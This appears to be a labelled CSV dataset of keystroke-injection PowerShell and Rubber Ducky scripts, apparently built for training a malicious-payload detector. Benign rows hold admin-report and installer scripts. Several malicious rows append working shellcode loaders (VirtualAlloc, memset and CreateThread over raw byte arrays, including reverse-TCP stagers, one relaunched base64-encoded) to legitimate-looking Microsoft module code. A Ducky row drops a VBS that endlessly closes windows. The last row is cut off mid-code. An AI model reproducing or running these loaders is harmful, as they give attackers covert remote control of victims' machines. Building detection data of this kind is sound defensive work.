"win+r enter powershell enter enter enter function Test-ScriptExtent { enter enter [OutputType([bool], ParameterSetName='__AllParameterSets')] enter [OutputType([System.Management.Automation.Language.IScriptExtent], ParameterSetName='PassThru')] enter [CmdletBinding()] enter param( enter [Parameter(Position=0, ValueFromPipeline, ValueFromPipelineByPropertyName)] enter [ValidateNotNullOrEmpty()] enter [System.Management.Automation.Language.IScriptExtent] enter $Extent, enter enter [ValidateNotNullOrEmpty()] enter [System.Management.Automation.Language.IScriptExtent] enter $Inside, enter enter [ValidateNotNullOrEmpty()] enter [System.Management.Automation.Language.IScriptExtent] enter $After, enter enter [ValidateNotNullOrEmpty()] enter [System.Management.Automation.Language.IScriptExtent] enter $Before, enter enter [Parameter(ParameterSetName='PassThru')] enter [switch] enter $PassThru enter ) enter process { enter if (-not $Extent) { return $false } enter $passes = (-not $After -or $Extent.StartOffset -gt $After.EndOffset) -and enter (-not $Before -or $Extent.EndOffset -lt $Before.StartOffset) -and enter (-not $Inside -or ($Extent.StartOffset -ge $Inside.StartOffset -and enter $Extent.EndOffset -le $Inside.EndOffset)) enter enter if (-not $PassThru.IsPresent) { return $passes } enter enter if ($passes) { enter $Extent enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0xaf,0x78,0xd6,0x71,0xdb,0xd8,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1,0x47,0x83,0xef,0xfc,0x31,0x77,0x0f,0x03,0x77,0xa0,0x9a,0x23,0x8d,0x56,0xd8,0xcc,0x6e,0xa6,0xbd,0x45,0x8b,0x97,0xfd,0x32,0xdf,0x87,0xcd,0x31,0x8d,0x2b,0xa5,0x14,0x26,0xb8,0xcb,0xb0,0x49,0x09,0x61,0xe7,0x64,0x8a,0xda,0xdb,0xe7,0x08,0x21,0x08,0xc8,0x31,0xea,0x5d,0x09,0x76,0x17,0xaf,0x5b,0x2f,0x53,0x02,0x4c,0x44,0x29,0x9f,0xe7,0x16,0xbf,0xa7,0x14,0xee,0xbe,0x86,0x8a,0x65,0x99,0x08,0x2c,0xaa,0x91,0x00,0x36,0xaf,0x9c,0xdb,0xcd,0x1b,0x6a,0xda,0x07,0x52,0x93,0x71,0x66,0x5b,0x66,0x8b,0xae,0x5b,0x99,0xfe,0xc6,0x98,0x24,0xf9,0x1c,0xe3,0xf2,0x8c,0x86,0x43,0x70,0x36,0x63,0x72,0x55,0xa1,0xe0,0x78,0x12,0xa5,0xaf,0x9c,0xa5,0x6a,0xc4,0x98,0x2e,0x8d,0x0b,0x29,0x74,0xaa,0x8f,0x72,0x2e,0xd3,0x96,0xde,0x81,0xec,0xc9,0x81,0x7e,0x49,0x81,0x2f,0x6a,0xe0,0xc8,0x27,0x5f,0xc9,0xf2,0xb7,0xf7,0x5a,0x80,0x85,0x58,0xf1,0x0e,0xa5,0x11,0xdf,0xc9,0xca,0x0b,0xa7,0x46,0x35,0xb4,0xd8,0x4f,0xf1,0xe0,0x88,0xe7,0xd0,0x88,0x42,0xf8,0xdd,0x5c,0xc4,0xa8,0x71,0x0f,0xa5,0x18,0x31,0xff,0x4d,0x73,0xbe,0x20,0x6d,0x7c,0x15,0x49,0x04,0x86,0xfd,0x7c,0xd9,0x82,0xf3,0xe8,0xdb,0x92,0x0a,0x2e,0x52,0x74,0x66,0xa0,0x33,0x2e,0x1e,0x59,0x1e,0xa4,0xbf,0xa6,0xb4,0xc0,0xff,0x2d,0x3b,0x34,0xb1,0xc5,0x36,0x26,0x25,0x26,0x0d,0x14,0xe3,0x39,0xbb,0x33,0x0b,0xac,0x40,0x92,0x5c,0x58,0x4b,0xc3,0xaa,0xc7,0xb4,0x26,0xa1,0xce,0x20,0x89,0xdd,0x2e,0xa5,0x09,0x1d,0x79,0xaf,0x09,0x75,0xdd,0x8b,0x59,0x60,0x22,0x06,0xce,0x39,0xb7,0xa9,0xa7,0xee,0x10,0xc2,0x45,0xc9,0x57,0x4d,0xb5,0x3c,0x66,0xb1,0x60,0x78,0x1c,0xdb,0xb0;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1964456e-05,0.999948
"win+r enter powershell enter enter enter function Uninstall-Script enter { enter enter [CmdletBinding(DefaultParameterSetName='NameParameterSet', enter SupportsShouldProcess=$true, enter HelpUri='https://go.microsoft.com/fwlink/?LinkId=619789')] enter Param enter ( enter [Parameter(ValueFromPipelineByPropertyName=$true, enter Mandatory=$true, enter Position=0, enter ParameterSetName='NameParameterSet')] enter [ValidateNotNullOrEmpty()] enter [String[]] enter $Name, enter enter [Parameter(Mandatory=$true, enter ValueFromPipeline=$true, enter ValueFromPipelineByPropertyName=$true, enter Position=0, enter ParameterSetName='InputObject')] enter [ValidateNotNull()] enter [PSCustomObject[]] enter $InputObject, enter enter [Parameter(ValueFromPipelineByPropertyName=$true, enter ParameterSetName='NameParameterSet')] enter [ValidateNotNull()] enter [string] enter $MinimumVersion, enter enter [Parameter(ValueFromPipelineByPropertyName=$true, enter ParameterSetName='NameParameterSet')] enter [ValidateNotNull()] enter [string] enter $RequiredVersion, enter enter [Parameter(ValueFromPipelineByPropertyName=$true, enter ParameterSetName='NameParameterSet')] enter [ValidateNotNull()] enter [string] enter $MaximumVersion, enter enter [Parameter()] enter [Switch] enter $Force, enter enter [Parameter(ParameterSetName='NameParameterSet')] enter [Switch] enter $AllowPrerelease enter ) enter enter Process enter { enter $PSBoundParameters[""Provider""] = $script:PSModuleProviderName enter $PSBoundParameters[""MessageResolver""] = $script:PackageManagementUnInstallScriptMessageResolverScriptBlock enter $PSBoundParameters[$script:PSArtifactType] = $script:PSArtifactTypeScript enter if($AllowPrerelease) { enter $PSBoundParameters[$script:AllowPrereleaseVersions] = $true enter } enter $null = $PSBoundParameters.Remove(""AllowPrerelease"") enter enter if($PSCmdlet.ParameterSetName -eq ""InputObject"") enter { enter $null = $PSBoundParameters.Remove(""InputObject"") enter enter foreach($inputValue in $InputObject) enter { enter if (($inputValue.PSTypeNames -notcontains ""Microsoft.PowerShell.Commands.PSRepositoryItemInfo"") -and enter ($inputValue.PSTypeNames -notcontains ""Deserialized.Microsoft.PowerShell.Commands.PSRepositoryItemInfo"")) enter { enter ThrowError -ExceptionName ""System.ArgumentException"" ` enter -ExceptionMessage $LocalizedData.InvalidInputObjectValue ` enter -ErrorId ""InvalidInputObjectValue"" ` enter -CallerPSCmdlet $PSCmdlet ` enter -ErrorCategory InvalidArgument ` enter -ExceptionObject $inputValue enter } enter enter $PSBoundParameters[""Name""] = $inputValue.Name enter $PSBoundParameters[""RequiredVersion""] = $inputValue.Version enter if (($inputValue.AdditionalMetadata) -and enter (Get-Member -InputObject $inputValue.AdditionalMetadata -Name ""IsPrerelease"") -and enter ($inputValue.AdditionalMetadata.IsPrerelease -eq ""true"")) { enter $PSBoundParameters[$script:AllowPrereleaseVersions] = $true enter } enter elseif ($PSBoundParameters.ContainsKey($script:AllowPrereleaseVersions)) { enter $null = $PSBoundParameters.Remove($script:AllowPrereleaseVersions) enter } enter enter $null = PackageManagement\Uninstall-Package @PSBoundParameters enter } enter } enter else enter { enter $ValidationResult = Validate-VersionParameters -CallerPSCmdlet $PSCmdlet ` enter -Name $Name ` enter -TestWildcardsInName ` enter -MinimumVersion $MinimumVersion ` enter -MaximumVersion $MaximumVersion ` enter -RequiredVersion $RequiredVersion ` enter -AllowPrerelease:$AllowPrerelease enter enter if(-not $ValidationResult) enter { enter return enter } enter enter $null = PackageManagement\Uninstall-Package @PSBoundParameters enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0xe3,0x80,0x68,0x02,0x00,0x00,0x50,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1773724e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_40qcdgvr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_25.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 3."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4550398e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install dotnet4.7.2 enter A enter enter enter,0,0,0.9999602,3.9871902e-05
"win+r powershell enter Describe 'Test for cmdlet to support Ordered Attribute on hash literal nodes' -T enter ags ""CI"" { BeforeAll { If (-not $IsCoreCLR) { Get-WmiObject -Query ""select * enter from win32_environment where name='TestWmiInstance'"" | Remove-WmiObject } } A enter fterAll { If (-not $IsCoreCLR) { Get-WmiObject -Query ""select * from win32_env enter ironment where name='TestWmiInstance'"" | Remove-WmiObject } } enter enter",1,1,0.0019671519,0.99803287
"DUCKY_REAL_BEGIN enter ESC enter DELAY 500 enter GUI r enter DELAY 200 enter STRING cmd enter ENTER enter DELAY 200 enter STRING cd %userprofile%/Downloads enter ENTER enter STRING copy con CW.vbs enter ENTER enter STRING do enter ENTER enter STRING Set objShell = CreateObject(""WScript.Shell"") enter ENTER enter STRING WScript.Sleep 800 enter ENTER enter STRING objShell.SendKeys ""^{W}"" enter ENTER enter STRING loop enter CTRL z enter DELAY 100 enter ENTER enter STRING start CW.vbs && exit enter ENTER enter DUCKY_REAL_END",1,1,5.876871e-05,0.99994123
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_glyml7e1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_50.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4419605e-05
"win+r enter powershell enter enter enter Set-Variable -Name Errors -Value $null -Scope Global -Force enter Set-Variable -Name RelativePath -Scope Global -Force enter Set-Variable -Name Title -Scope Global -Force enter enter Function ConsoleTitle ($Title){ enter $host.ui.RawUI.WindowTitle = $Title enter } enter enter Function DeclareGlobalVariables { enter $Global:Title = ""Windows Management Framework 4.0"" enter } enter enter Function GetRelativePath { enter $Global:RelativePath = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter } enter enter Function InstallMSU ($ProgName,$MSU,$Switches) { enter $EXE = $Env:windir+""\system32\wusa.exe"" enter $Parameters = [char]34+$MSU+[char]34+[char]32+$Switches enter Write-Host ""Install ""$ProgName""....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $EXE -ArgumentList $Parameters -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } elseif ($ErrCode -eq 2359302) { enter Write-Host ""Already Installed"" -ForegroundColor Green enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter $Global:Errors++ enter } enter } enter enter Function ExitPowerShell { enter If (($Global:Errors -ne $null) -and ($Global:Errors -ne 0)) { enter Exit 1 enter } enter } enter enter cls enter DeclareGlobalVariables enter GetRelativePath enter ConsoleTitle $Global:Title enter InstallMSU ""Windows Management Framework 4.0"" $Global:RelativePath""Windows6.1-KB2819745-x86-MultiPkg.msu"" ""/quiet /norestart"" enter Start-Sleep -Seconds 5 enter ExitPowerShell enter enter $Wef = '$IED = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $IED -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x26,0x6c,0xc9,0xb6,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,0x57,0x31,0x43,0x15,0x03,0x43,0x15,0x83,0xeb,0xfc,0xe2,0xd3,0x90,0x21,0x34,0x1b,0x69,0xb2,0x59,0x92,0x8c,0x83,0x59,0xc0,0xc5,0xb4,0x69,0x83,0x88,0x38,0x01,0xc1,0x38,0xca,0x67,0xcd,0x4f,0x7b,0xcd,0x2b,0x61,0x7c,0x7e,0x0f,0xe0,0xfe,0x7d,0x43,0xc2,0x3f,0x4e,0x96,0x03,0x07,0xb3,0x5a,0x51,0xd0,0xbf,0xc8,0x46,0x55,0xf5,0xd0,0xed,0x25,0x1b,0x50,0x11,0xfd,0x1a,0x71,0x84,0x75,0x45,0x51,0x26,0x59,0xfd,0xd8,0x30,0xbe,0x38,0x93,0xcb,0x74,0xb6,0x22,0x1a,0x45,0x37,0x88,0x63,0x69,0xca,0xd1,0xa4,0x4e,0x35,0xa4,0xdc,0xac,0xc8,0xbe,0x1a,0xce,0x16,0x4b,0xb9,0x68,0xdc,0xeb,0x65,0x88,0x31,0x6d,0xed,0x86,0xfe,0xfa,0xa9,0x8a,0x01,0x2f,0xc2,0xb7,0x8a,0xce,0x05,0x3e,0xc8,0xf4,0x81,0x1a,0x8a,0x95,0x90,0xc6,0x7d,0xaa,0xc3,0xa8,0x22,0x0e,0x8f,0x45,0x36,0x23,0xd2,0x01,0xa6,0x5e,0x99,0xd1,0x5e,0xd7,0x08,0xbc,0xf7,0x43,0xa3,0x0c,0x7f,0x4d,0x34,0x72,0xaa,0xa0,0xe1,0xdf,0x06,0x91,0x46,0xb3,0xc0,0x2f,0x3f,0x4a,0xb6,0xb0,0x6a,0xff,0xeb,0x24,0x96,0x53,0x5f,0xd0,0xc3,0x42,0x5f,0x20,0x1c,0xe8,0x5f,0x20,0xdc,0xde,0x05,0x65,0x94,0x14,0xfb,0x65,0x74,0x3d,0xac,0xec,0xeb,0x7b,0xad,0x3b,0x9a,0x42,0x01,0xab,0x9d,0x78,0x46,0xaf,0xcd,0x2f,0xd5,0xf8,0xa2,0x99,0xb1,0xed,0x10,0x08,0x79,0x0e,0x4f,0xc2,0x17,0xfa,0x2f,0x83,0x67,0xc9,0xcf,0x53,0xe1,0xcd,0xba,0x57,0xa1,0x67,0x24,0x0e,0x29,0x02,0x1c,0x30,0x2f,0x13,0x75,0x1f,0x63,0xb8,0x25,0xf6,0xeb,0x13,0xcc,0xee,0x90,0x94,0x05,0x8b,0xa7,0x1f,0xac,0xdb,0x52,0x06,0xd8,0x13,0x29,0x1a,0x4f,0x2b,0x87,0x30,0x30,0xbb,0x28,0xd4,0xb0,0x3b,0x41,0xd4,0xb0,0x7b,0x91,0x87,0xd8,0x23,0x35,0x74,0xfc,0x2b,0xe0,0xe9,0xad,0x80,0x82,0xea,0x05,0x4f,0x95,0xd4,0xa9,0x8f,0xc6,0x42,0xc2,0x9d,0x7e,0xe3,0xf0,0x5d,0xab,0x76,0x34,0xd5,0x99,0xf3,0xb2,0x17,0xe1,0x86,0x7d,0x62,0x00,0xd0,0xbe,0xd2,0x22,0x95,0xbf,0x12,0x4d,0x64,0x70,0xd9,0x9c,0xb4,0x43,0x19,0xcf,0x89,0x9b,0x6d,0x21,0xdb,0xee,0xbf,0x3d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$dyKx=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($dyKx.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$dyKx,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Wef));$vEF = ""-EncodedCommand "";if([IntPtr]::Size -eq 8){$i8Wb = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";iex ""& $i8Wb $vEF $e""}else{;iex ""& powershell $vEF $e"";} enter enter",1,1,5.4909422e-05,0.99994504
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_rer5y0ew"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4069464e-05
"win+r enter powershell enter enter enter param( enter [Parameter(HelpMessage=""The version number for the generated MSI. This will be obtained from the Az module if not specified."")] enter [string]$version=""0"", enter enter [Parameter(HelpMessage=""Prevent a build number from being tacked on the end of the version number."")] enter [Switch]$noBuildNumber, enter enter [Parameter(HelpMessage=""Set the repository to pull packages from."")] enter [string]$repository=""PSGallery"" enter ) enter enter if( (-not (get-command -ea 0 light)) -or (-not (get-command -ea 0 heat)) -or (-not(get-command -ea 0 candle)) ) { enter write-host -fore Red ""This script requires WiX Toolset in the path. [exiting]"" enter return ; enter } enter $outputName =""Az-Cmdlets"" enter $productName = ""Microsoft Azure PowerShell - $((Get-Culture).DateTimeFormat.GetMonthName((get-date).month)) $((get-date).year)"" enter $tmp = Join-Path $env:temp azure-cmdlets-tmp enter $modulesDir = ""$tmp\modules"" enter $archs = @('x86','x64') enter enter $scriptLocation = (Get-Item $PSCommandPath).Directory enter Write-Host -fore yellow ""Forcing clean install"" enter $shhh = (cmd.exe /c rmdir /s /q $tmp) enter enter $shhh = mkdir -ea 0 ""$tmp"" enter erase -ea 0 ""$tmp/*.wixobj"" enter erase -ea 0 ""$tmp/*.wxi"" enter enter erase -ea 0 ""$scriptLocation/*.wixpdb"" enter erase -ea 0 ""$scriptLocation/*.msi"" enter if ( -not (test-path $modulesDir)) { enter Write-Host -fore green ""Installing Modules..."" enter enter $shh= mkdir -ea 0 $modulesDir enter save-module az -path $modulesDir -Repository $repository enter enter if ($version -eq ""0"") enter { enter $version = (Get-ChildItem -Path $modulesDir\Az).Name enter } enter enter Write-Host -fore green ""Tweaking Modules"" enter cmd /c dir /a/s/b ""$modulesDir\psgetmoduleinfo.xml"" |% { enter Write-Host -fore Gray "" - Patching $_"" enter (gc $_ -raw ) -replace "".*<S N=.InstalledLocation.*S>"","""" | Set-Content $_ enter (gc $_ -raw ) -replace "".*<S N=.RepositorySourceLocation`"".*S>"",'<S N=""RepositorySourceLocation"">https://www.powershellgallery.com/api/v2/</S>' | Set-Content $_ enter (gc $_ -raw ) -replace "".*<S N=.Repository`"".*S>"",'<S N=""Repository"">PSGallery</S>' | Set-Content $_ enter } enter } enter if( -not $noBuildNumber ) { enter enter $buildNumber = git rev-list --parents HEAD --count --full-history enter if ($buildNumber -ne $null) enter { enter $version = ""$version.$buildNumber"" enter } enter } enter $archs |% { enter $arch = $_ enter $includeFile = ""$tmp\azurecmdfiles-$arch.wxi"" enter erase -ea 0 $includeFile enter Write-Host -fore green ""Generating '$includeFile' include file"" enter heat dir $modulesDir -out $includeFile -srd -sfrag -sreg -ag -g1 -cg ""azurecmdfiles$arch"" -dr ""Modules$arch"" -var var.modulesDir -indent 2 -nologo enter if( $LASTEXITCODE) { enter write-host -fore red ""Failed to generate include file."" enter break; enter } enter enter Write-Host -fore gray "" - Fixing include file."" enter (gc $includeFile).replace('<Wix', '<Include') | Set-Content $includeFile enter (gc $includeFile).replace('</Wix' ,'</Include') | Set-Content $includeFile enter (gc $includeFile).replace('PSGetModuleInfo.xml"" />' ,'PSGetModuleInfo.xml"" Hidden=""yes"" />') | Set-Content $includeFile enter } enter if( $LASTEXITCODE) { enter enter return; enter } enter enter $archs |% { enter $arch = $_ enter Write-Host -fore green ""Compiling Wix Script for $arch"" enter $out = candle -arch $arch -ext WixUIExtension ""-dversion=$version"" -sw1118 -nologo ""-I$tmp"" ""-dtmp=$tmp"" ""-dmodulesDir=$modulesDir"" ""-dproductName=$productName"" $scriptLocation\azurecmd.wxs -out ""$tmp\$outputName-$version-$arch.wixobj"" enter if( $LASTEXITCODE) { enter write-host -fore red ""Failed to compile WiX Script for $arch"" enter write-host -fore red $out enter break; enter } enter enter Write-Host -fore green ""Creating installer for $arch"" enter $out = light ""$tmp\$outputName-$version-$arch.wixobj"" -ext WixUIExtension -out ""$scriptLocation\$outputName-$version-$arch.msi"" -sw1076 -sice:ICE80 -nologo -b $scriptLocation enter if( $LASTEXITCODE) { enter write-host -fore red ""ERROR: Failed to link MSI for $arch"" enter write-host -fore red $out enter break; enter } enter enter write-host -fore cyan ""Installer Created: $scriptLocation\$outputName-$version-$arch.msi"" enter } enter if( $LASTEXITCODE) { enter enter return; enter } enter enter erase -ea 0 ""$tmp/*.wixpdb"" enter erase -ea 0 ""$tmp/*.wixobj"" enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xac,0x10,0x02,0x16,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = 